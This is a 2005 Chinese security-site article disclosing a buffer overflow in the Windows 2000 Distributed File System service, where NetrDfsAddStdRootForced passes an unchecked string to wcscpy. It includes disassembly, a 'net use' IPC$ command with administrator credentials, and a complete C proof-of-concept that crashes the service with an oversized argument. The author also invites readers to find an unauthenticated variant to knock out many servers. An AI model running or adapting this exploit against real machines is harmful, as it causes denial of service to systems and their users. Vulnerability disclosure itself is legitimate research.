首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
最近发现的一个Distributed File System服务远程溢出问题
来源:http://www.ns-one.com 作者:fzk 发布时间:2005-03-17  

最近发现的一个Distributed File System服务远程溢出问题

date:03/13/2005
author:fzk
qq:1734398
MSN:sysadm@21cn.com
email:sysadm@21cn.com
URL:http://www.ns-one.com

1.前言:

最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个
溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生
溢出,不知道这样的问题,属于不属于安全漏洞呢?

今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行
溢出,那这个就算真正的安全问题了,而且危害性肯定也强了,那当然也记得给我发个信通知一下如何实现.:)


2.问题细节:
这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数
上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行
边界检查,导致溢出的代码如下:

NetrDfsAddStdRootForced函数
...............
.text:0100A2B5 mov edi, [ebp+arg_C]
.text:0100A2B8 test edi, edi
.text:0100A2AF jz loc_100A373
...............
.text:0100A31F push edi
.text:0100A320 push 1
.text:0100A322 push [ebp+arg_8]
.text:0100A325 lea eax, [ebp+var_214]
.text:0100A32B push [ebp+arg_4]
.text:0100A32E push eax
.text:0100A32F call SetupStdDfs
...............
SetupStdDfs函数
.text:01007FB4 push ebp
.text:01007FB5 mov ebp, esp
.text:01007FB7 sub esp, 658h
.text:01007FBD push ebx
.text:01007FBE mov ebx, ds:wcscpy
.text:01007FC4 push esi
.text:01007FC5 push edi
.text:01007FC6 xor esi, esi
.text:01007FC8 xor edi, edi
.text:01007FCA cmp [ebp+arg_10], esi
.text:01007FCD jnz short loc_1007FE2
...............
.text:01007FE2 loc_1007FE2:
.text:01007FE2 push [ebp+arg_10]
.text:01007FE5 lea eax, [ebp+var_43C]
.text:01007FEB push eax
.text:01007FEC call ebx ; wcscpy

调用流程为:

NetrDfsAddStdRootForced->SetupStdDfs->wcscpy


3.溢出测试方法:

(1).先使用目标机器的管理员组成员建立一个ipc$连接
net use \\目标机器ip\ipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Lm.h>
#include <Lmdfs.h>

#pragma comment(lib, "Netapi32.lib")

int main (void)
{
wchar_t a[]=L"\\\\ip\\"; //把ip替换为你的目标机器ip
wchar_t b[4000];
LPWSTR ServerName=a;
LPWSTR RootShare=L"fzk";
LPWSTR Comment=L"fzk";
LPWSTR Store;
int i;

for (i = 0; i< 2000;i++)
wcscat(b, L"A");

Store = b;

if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)
return TRUE;

else
return FALSE;
}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的
Distributed File System服务已经down掉了

4.附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了
Distributed File System服务在windows 2000服务器下面是默认开放的
如果有高手能实现不用任何权限来进行溢出,应该可以干掉很多windows 2000的服务器
当然也记得通知我
email:sysadm@21cn.com
qq:1734398
MSN:sysadm@21cn.com



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·PHP COM组件调用绕过安全模式执
·微软最新安全漏洞大揭秘
·小榕的WIS漏洞补充篇及利用篇
·[AD_LAB-05001] OpenOffice DOC
·最新公布的动易4.03上传漏洞
·发现Linux压缩格式漏洞 达第二最
·Linux 2.6.* 内核Capability LSM
·Windows Firewall存在缺陷 黑客
·Microsoft Windows LoadImage AP
·DriverStudio Remote Control远
·Mozilla Firefox任意命令执行漏
·Microsoft Windows winhlp32.exe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved